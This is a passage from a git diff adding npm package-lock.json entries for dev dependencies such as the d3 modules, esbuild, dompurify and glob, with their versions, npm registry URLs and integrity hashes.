"sha512-tdQAmyA18i4J7wprpYq8ClcxZy3SC31QMeByyCFyRt7BVHdREQZ5lpzoe5mFEYZUWe+oq8HBvk9JjpibyEV4Jg==", + "dev": true, + "license": "ISC", + "dependencies": { + "internmap": "1 - 2" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-axis": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-axis/-/d3-axis-3.0.0.tgz", + "integrity": "sha512-IH5tgjV4jE/GhHkRV0HiVYPDtvfjHQlQfJHs0usq7M30XcSBvOotpmH1IgkcXsO/5gEQZD43B//fc7SRT5S+xw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-brush": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-brush/-/d3-brush-3.0.0.tgz", + "integrity": "sha512-ALnjWlVYkXsVIGlOsuWH1+3udkYFI48Ljihfnh8FZPF2QS9o+PzGLBslO0PjzVoHLZ2KCVgAM8NVkXPJB2aNnQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "3", + "d3-transition": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-chord": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-chord/-/d3-chord-3.0.1.tgz", + "integrity": "sha512-VE5S6TNa+j8msksl7HwjxMHDM2yNK3XCkusIlpX5kwauBfXuyLAtNg9jCp/iHH61tgI4sb6R/EIMWCqEIdjT/g==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-path": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-color": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-color/-/d3-color-3.1.0.tgz", + "integrity": "sha512-zg/chbXyeBtMQ1LbD/WSoW2DpC3I0mpmPdW+ynRTj/x2DAWYrIY7qeZIHidozwV24m4iavr15lNwIwLxRmOxhA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-contour": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-contour/-/d3-contour-4.0.2.tgz", + "integrity": "sha512-4EzFTRIikzs47RGmdxbeUvLWtGedDUNkTcmzoeyg4sP/dvCexO47AaQL7VKy/gul85TOxw+IBgA8US2xwbToNA==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-array": "^3.2.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-delaunay": { + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/d3-delaunay/-/d3-delaunay-6.0.4.tgz", + "integrity": "sha512-mdjtIZ1XLAM8bm/hx3WwjfHt6Sggek7qH043O8KEjDXN40xi3vx/6pYSVTwLjEgiXQTbvaouWKynLBiUZ6SK6A==", + "dev": true, + "license": "ISC", + "dependencies": { + "delaunator": "5" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dispatch": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dispatch/-/d3-dispatch-3.0.1.tgz", + "integrity": "sha512-rzUyPU/S7rwUflMyLc1ETDeBj0NRuHKKAcvukozwhshr6g6c5d8zh4c2gQjY2bZ0dXeGLWc1PF174P2tVvKhfg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-drag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-drag/-/d3-drag-3.0.0.tgz", + "integrity": "sha512-pWbUJLdETVA8lQNJecMxoXfH6x+mO2UQo8rSmZ+QqxcbyA3hfeprFgIT//HW2nlHChWeIIMwS2Fq+gEARkhTkg==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-selection": "3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dsv": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-dsv/-/d3-dsv-3.0.1.tgz", + "integrity": "sha512-UG6OvdI5afDIFP9w4G0mNq50dSOsXHJaRE8arAS5o9ApWnIElp8GZw1Dun8vP8OyHOZ/QJUKUJwxiiCCnUwm+Q==", + "dev": true, + "license": "ISC", + "dependencies": { + "commander": "7", + "iconv-lite": "0.6", + "rw": "1" + }, + "bin": { + "csv2json": "bin/dsv2json.js", + "csv2tsv": "bin/dsv2dsv.js", + "dsv2dsv": "bin/dsv2dsv.js", + "dsv2json": "bin/dsv2json.js", + "json2csv": "bin/json2dsv.js", + "json2dsv": "bin/json2dsv.js", + "json2tsv": "bin/json2dsv.js", + "tsv2csv": "bin/dsv2dsv.js", + "tsv2json": "bin/dsv2json.js" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-dsv/node_modules/commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10" + } + }, + "node_modules/d3-ease": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-ease/-/d3-ease-3.0.1.tgz", + "integrity": "sha512-wR/XK3D3XcLIZwpbvQwQ5fK+8Ykds1ip7A2Txe0yxncXSdq1L9skcG7blcedkOX+ZcgxGAmLX1FrRGbADwzi0w==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-fetch": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-fetch/-/d3-fetch-3.0.1.tgz", + "integrity": "sha512-kpkQIM20n3oLVBKGg6oHrUchHM3xODkTzjMoj7aWQFq5QEM+R6E4WkzT5+tojDY7yjez8KgCBRoj4aEr99Fdqw==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-dsv": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-force": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-force/-/d3-force-3.0.0.tgz", + "integrity": "sha512-zxV/SsA+U4yte8051P4ECydjD/S+qeYtnaIyAs9tgHCqfguma/aAQDjo85A9Z6EKhBirHRJHXIgJUlffT4wdLg==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-quadtree": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-format": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-format/-/d3-format-3.1.0.tgz", + "integrity": "sha512-YyUI6AEuY/Wpt8KWLgZHsIU86atmikuoOmCfommt0LYHiQSPjvX2AcFc38PX0CBpr2RCyZhjex+NS/LPOv6YqA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-geo": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/d3-geo/-/d3-geo-3.1.1.tgz", + "integrity": "sha512-637ln3gXKXOwhalDzinUgY83KzNWZRKbYubaG+fGVuc/dxO64RRljtCTnf5ecMyE1RIdtqpkVcq0IbtU2S8j2Q==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-array": "2.5.0 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-hierarchy": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/d3-hierarchy/-/d3-hierarchy-3.1.2.tgz", + "integrity": "sha512-FX/9frcub54beBdugHjDCdikxThEqjnR93Qt7PvQTOHxyiNCAlvMrHhclk3cD5VeAaq9fxmfRp+CnWw9rEMBuA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-interpolate": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-interpolate/-/d3-interpolate-3.0.1.tgz", + "integrity": "sha512-3bYs1rOD33uo8aqJfKP3JWPAibgw8Zm2+L9vBKEHJ2Rg+viTR7o5Mmv5mZcieN+FRYaAOWX5SJATX6k1PWz72g==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-path": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-3.1.0.tgz", + "integrity": "sha512-p3KP5HCf/bvjBSSKuXid6Zqijx7wIfNW+J/maPs+iwR35at5JCbLUT0LzF1cnjbCHWhqzQTIN2Jpe8pRebIEFQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-polygon": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-polygon/-/d3-polygon-3.0.1.tgz", + "integrity": "sha512-3vbA7vXYwfe1SYhED++fPUQlWSYTTGmFmQiany/gdbiWgU/iEyQzyymwL9SkJjFFuCS4902BSzewVGsHHmHtXg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-quadtree": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-quadtree/-/d3-quadtree-3.0.1.tgz", + "integrity": "sha512-04xDrxQTDTCFwP5H6hRhsRcb9xxv2RzkcsygFzmkSIOJy3PeRJP7sNk3VRIbKXcog561P9oU0/rVH6vDROAgUw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-random": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-random/-/d3-random-3.0.1.tgz", + "integrity": "sha512-FXMe9GfxTxqd5D6jFsQ+DJ8BJS4E/fT5mqqdjovykEB2oFbTMDVdg1MGFxfQW+FBOGoB++k8swBrgwSHT1cUXQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-sankey": { + "version": "0.12.3", + "resolved": "https://registry.npmjs.org/d3-sankey/-/d3-sankey-0.12.3.tgz", + "integrity": "sha512-nQhsBRmM19Ax5xEIPLMY9ZmJ/cDvd1BG3UVvt5h3WRxKg5zGRbvnteTyWAbzeSvlh3tW7ZEmq4VwR5mB3tutmQ==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "d3-array": "1 - 2", + "d3-shape": "^1.2.0" + } + }, + "node_modules/d3-sankey/node_modules/d3-array": { + "version": "2.12.1", + "resolved": "https://registry.npmjs.org/d3-array/-/d3-array-2.12.1.tgz", + "integrity": "sha512-B0ErZK/66mHtEsR1TkPEEkwdy+WDesimkM5gpZr5Dsg54BiTA5RXtYW5qTLIAcekaS9xfZrzBLF/OAkB3Qn1YQ==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "internmap": "^1.0.0" + } + }, + "node_modules/d3-sankey/node_modules/d3-path": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/d3-path/-/d3-path-1.0.9.tgz", + "integrity": "sha512-VLaYcn81dtHVTjEHd8B+pbe9yHWpXKZUC87PzoFmsFrJqgFwDe/qxfp5MlfsfM1V5E/iVt0MmEbWQ7FVIXh/bg==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/d3-sankey/node_modules/d3-shape": { + "version": "1.3.7", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-1.3.7.tgz", + "integrity": "sha512-EUkvKjqPFUAZyOlhY5gzCxCeI0Aep04LwIRpsZ/mLFelJiUfnK56jo5JMDSE7yyP2kLSb6LtF+S5chMk7uqPqw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "d3-path": "1" + } + }, + "node_modules/d3-sankey/node_modules/internmap": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/internmap/-/internmap-1.0.1.tgz", + "integrity": "sha512-lDB5YccMydFBtasVtxnZ3MRBHuaoE8GKsppq+EchKL2U4nK/DmEpPHNH8MZe5HkMtpSiTSOZwfN0tzYjO/lJEw==", + "dev": true, + "license": "ISC" + }, + "node_modules/d3-scale": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/d3-scale/-/d3-scale-4.0.2.tgz", + "integrity": "sha512-GZW464g1SH7ag3Y7hXjf8RoUuAFIqklOAq3MRl4OaWabTFJY9PN/E1YklhXLh+OQ3fM9yS2nOkCoS+WLZ6kvxQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-array": "2.10.0 - 3", + "d3-format": "1 - 3", + "d3-interpolate": "1.2.0 - 3", + "d3-time": "2.1.1 - 3", + "d3-time-format": "2 - 4" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-scale-chromatic": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-scale-chromatic/-/d3-scale-chromatic-3.1.0.tgz", + "integrity": "sha512-A3s5PWiZ9YCXFye1o246KoscMWqf8BsD9eRiJ3He7C9OBaxKhAd5TFCdEx/7VbKtxxTsu//1mMJFrEt572cEyQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3", + "d3-interpolate": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-selection": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-selection/-/d3-selection-3.0.0.tgz", + "integrity": "sha512-fmTRWbNMmsmWq6xJV8D19U/gw/bwrHfNXxrIN+HfZgnzqTHp9jOmKMhsTUjXOJnZOdZY9Q28y4yebKzqDKlxlQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-shape": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/d3-shape/-/d3-shape-3.2.0.tgz", + "integrity": "sha512-SaLBuwGm3MOViRq2ABk3eLoxwZELpH6zhl3FbAoJ7Vm1gofKx6El1Ib5z23NUEhF9AsGl7y+dzLe5Cw2AArGTA==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-path": "^3.1.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/d3-time/-/d3-time-3.1.0.tgz", + "integrity": "sha512-VqKjzBLejbSMT4IgbmVgDjpkYrNWUYJnbCGo874u7MMKIWsILRX+OpX/gTk8MqjpT1A/c6HY2dCA77ZN0lkQ2Q==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-array": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-time-format": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/d3-time-format/-/d3-time-format-4.1.0.tgz", + "integrity": "sha512-dJxPBlzC7NugB2PDLwo9Q8JiTR3M3e4/XANkreKSUxF8vvXKqm1Yfq4Q5dl8budlunRVlUUaDUgFt7eA8D6NLg==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-time": "1 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-timer": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-timer/-/d3-timer-3.0.1.tgz", + "integrity": "sha512-ndfJ/JxxMd3nw31uyKoY2naivF+r29V+Lc0svZxe1JvvIRmi8hUsrMvdOwgS1o6uBHmiz91geQ0ylPP0aj1VUA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/d3-transition": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/d3-transition/-/d3-transition-3.0.1.tgz", + "integrity": "sha512-ApKvfjsSR6tg06xrL434C0WydLr7JewBB3V+/39RMHsaXTOG0zmt/OAXeng5M5LBm0ojmxJrpomQVZ1aPvBL4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-color": "1 - 3", + "d3-dispatch": "1 - 3", + "d3-ease": "1 - 3", + "d3-interpolate": "1 - 3", + "d3-timer": "1 - 3" + }, + "engines": { + "node": ">=12" + }, + "peerDependencies": { + "d3-selection": "2 - 3" + } + }, + "node_modules/d3-zoom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/d3-zoom/-/d3-zoom-3.0.0.tgz", + "integrity": "sha512-b8AmV3kfQaqWAuacbPuNbL6vahnOJflOhexLzMMNLga62+/nh0JzvJ0aO/5a5MVgUFGS7Hu1P9P03o3fJkDCyw==", + "dev": true, + "license": "ISC", + "dependencies": { + "d3-dispatch": "1 - 3", + "d3-drag": "2 - 3", + "d3-interpolate": "1 - 3", + "d3-selection": "2 - 3", + "d3-transition": "2 - 3" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/dagre-d3-es": { + "version": "7.0.11", + "resolved": "https://registry.npmjs.org/dagre-d3-es/-/dagre-d3-es-7.0.11.tgz", + "integrity": "sha512-tvlJLyQf834SylNKax8Wkzco/1ias1OPw8DcUMDE7oUIoSEW25riQVuiu/0OWEFqT0cxHT3Pa9/D82Jr47IONw==", + "dev": true, + "license": "MIT", + "dependencies": { + "d3": "^7.9.0", + "lodash-es": "^4.17.21" + } + }, + "node_modules/dayjs": { + "version": "1.11.13", + "resolved": "https://registry.npmjs.org/dayjs/-/dayjs-1.11.13.tgz", + "integrity": "sha512-oaMBel6gjolK862uaPQOVTA7q3TZhuSvuMQAAglQDOWYO9A91IrAOUJEyKVlqJlHE0vq5p5UXxzdPfMH/x6xNg==", + "dev": true, + "license": "MIT" + }, + "node_modules/debug": { + "version": "4.4.0", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.0.tgz", + "integrity": "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decode-named-character-reference": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/decode-named-character-reference/-/decode-named-character-reference-1.0.2.tgz", + "integrity": "sha512-O8x12RzrUF8xyVcY0KJowWsmaJxQbmy0/EtnNtHRpsOcT7dFk5W598coHqBVpmWo1oQQfsCqfCmkZN5DJrZVdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "character-entities": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/delaunator": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/delaunator/-/delaunator-5.0.1.tgz", + "integrity": "sha512-8nvh+XBe96aCESrGOqMp/84b13H9cdKbG5P2ejQCh4d4sK9RL4371qou9drQjMhvnPmhWl5hnmqbEE0fXr9Xnw==", + "dev": true, + "license": "ISC", + "dependencies": { + "robust-predicates": "^3.0.2" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/devlop": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/devlop/-/devlop-1.1.0.tgz", + "integrity": "sha512-RWmIqhcFf1lRYBvNmr7qTNuyCt/7/ns2jbpp1+PalgE/rDQcBT0fioSMUpJ93irlUhC5hrg4cYqe6U+0ImW0rA==", + "dev": true, + "license": "MIT", + "dependencies": { + "dequal": "^2.0.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/wooorm" + } + }, + "node_modules/dompurify": { + "version": "3.2.4", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.2.4.tgz", + "integrity": "sha512-ysFSFEDVduQpyhzAob/kkuJjf5zWkZD8/A9ywSp1byueyuCfHamrCBa14/Oc2iiB0e51B+NpxSl5gmzn+Ms/mg==", + "dev": true, + "license": "(MPL-2.0 OR Apache-2.0)", + "optionalDependencies": { + "@types/trusted-types": "^2.0.7" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true, + "license": "MIT" + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/emoji-regex-xs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex-xs/-/emoji-regex-xs-1.0.0.tgz", + "integrity": "sha512-LRlerrMYoIDrT6jgpeZ2YYl/L8EulRTt5hQcYjy5AInh7HWXKimpqx68aknBFpGL2+/IcogTcaydJEgaTmOpDg==", + "dev": true, + "license": "MIT" + }, + "node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/esbuild": { + "version": "0.25.2", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.2.tgz", + "integrity": "sha512-16854zccKPnC+toMywC+uKNeYSv+/eXkevRAfwRD/G9Cleq66m8XFIrigkbvauLLlCfDL45Q2cWegSg53gGBnQ==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.2", + "@esbuild/android-arm": "0.25.2", + "@esbuild/android-arm64": "0.25.2", + "@esbuild/android-x64": "0.25.2", + "@esbuild/darwin-arm64": "0.25.2", + "@esbuild/darwin-x64": "0.25.2", + "@esbuild/freebsd-arm64": "0.25.2", + "@esbuild/freebsd-x64": "0.25.2", + "@esbuild/linux-arm": "0.25.2", + "@esbuild/linux-arm64": "0.25.2", + "@esbuild/linux-ia32": "0.25.2", + "@esbuild/linux-loong64": "0.25.2", + "@esbuild/linux-mips64el": "0.25.2", + "@esbuild/linux-ppc64": "0.25.2", + "@esbuild/linux-riscv64": "0.25.2", + "@esbuild/linux-s390x": "0.25.2", + "@esbuild/linux-x64": "0.25.2", + "@esbuild/netbsd-arm64": "0.25.2", + "@esbuild/netbsd-x64": "0.25.2", + "@esbuild/openbsd-arm64": "0.25.2", + "@esbuild/openbsd-x64": "0.25.2", + "@esbuild/sunos-x64": "0.25.2", + "@esbuild/win32-arm64": "0.25.2", + "@esbuild/win32-ia32": "0.25.2", + "@esbuild/win32-x64": "0.25.2" + } + }, + "node_modules/estree-walker": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-2.0.2.tgz", + "integrity": "sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-glob": { + "version": "3.3.2", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.2.tgz", + "integrity": "sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.4" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fastq": { + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz", + "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/focus-trap": { + "version": "7.6.4", + "resolved": "https://registry.npmjs.org/focus-trap/-/focus-trap-7.6.4.tgz", + "integrity": "sha512-xx560wGBk7seZ6y933idtjJQc1l+ck+pI3sKvhKozdBV1dRZoKhkW5xoCaFv9tQiX5RH1xfSxjuNu6g+lmN/gw==", + "dev": true, + "license": "MIT", + "dependencies": { + "tabbable": "^6.2.0" + } + }, + "node_modules/foreground-child": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.0.tgz", + "integrity": "sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==", + "dev": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.0", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/fsevents": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", + "integrity": "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/globals": { + "version": "15.15.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-15.15.0.tgz", + "integrity": "sha512-7ACyT3wmyp3I61S4fG682L0VA2RGD9otkqGJIwNUMF1SWUombIIk+af1unuDYgMm082aHYwD+mzJvv9Iu8dsgg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/hachure-fill": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/hachure-fill/-/hachure-fill-0.5.2.tgz", + "integrity": "sha512-3GKBOn+m2LX9iq+JC1064cSFprJY4jL1jCXTcpnfER5HYE2l/4EfWSGzkPa/ZDBmYI0ZOEj5VHV/eKnPGkHuOg==", + "dev": true, + "license": "MIT" + }, + "node_modules/hast-util-to-html": { + "version": "9.0.4", + "resolved": "https://registry.npmjs.org/hast-util-to-html/-/hast-util-to-html-9.0.4.tgz", + "integrity": "sha512-wxQzXtdbhiwGAUKrnQJXlOPmHnEehzphwkK7aluUPQ+lEc1xefC8pblMgpp2w5ldBTEfveRIrADcrhGIWrlTDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/hast": "^3.0.0", + "@types/unist": "^3.0.0", + "ccount": "^2.0.0", + "comma-separated-tokens": "^2.0.0", + "hast-util-whitespace": "^3.0.0", + "html-void-elements": "^3.0.0", + "mdast-util-to-hast": "^13.0.0", + "property-information": "^6.0.0", + "space-separated-tokens": "^2.0.0", + "stringify-entities": "^4.0.0", + "zwitch": "^2.0.4" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/unified" + } + }, + "node_modules/hast-util-to-html/node_modules/@types/unist": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz", + "integrity": 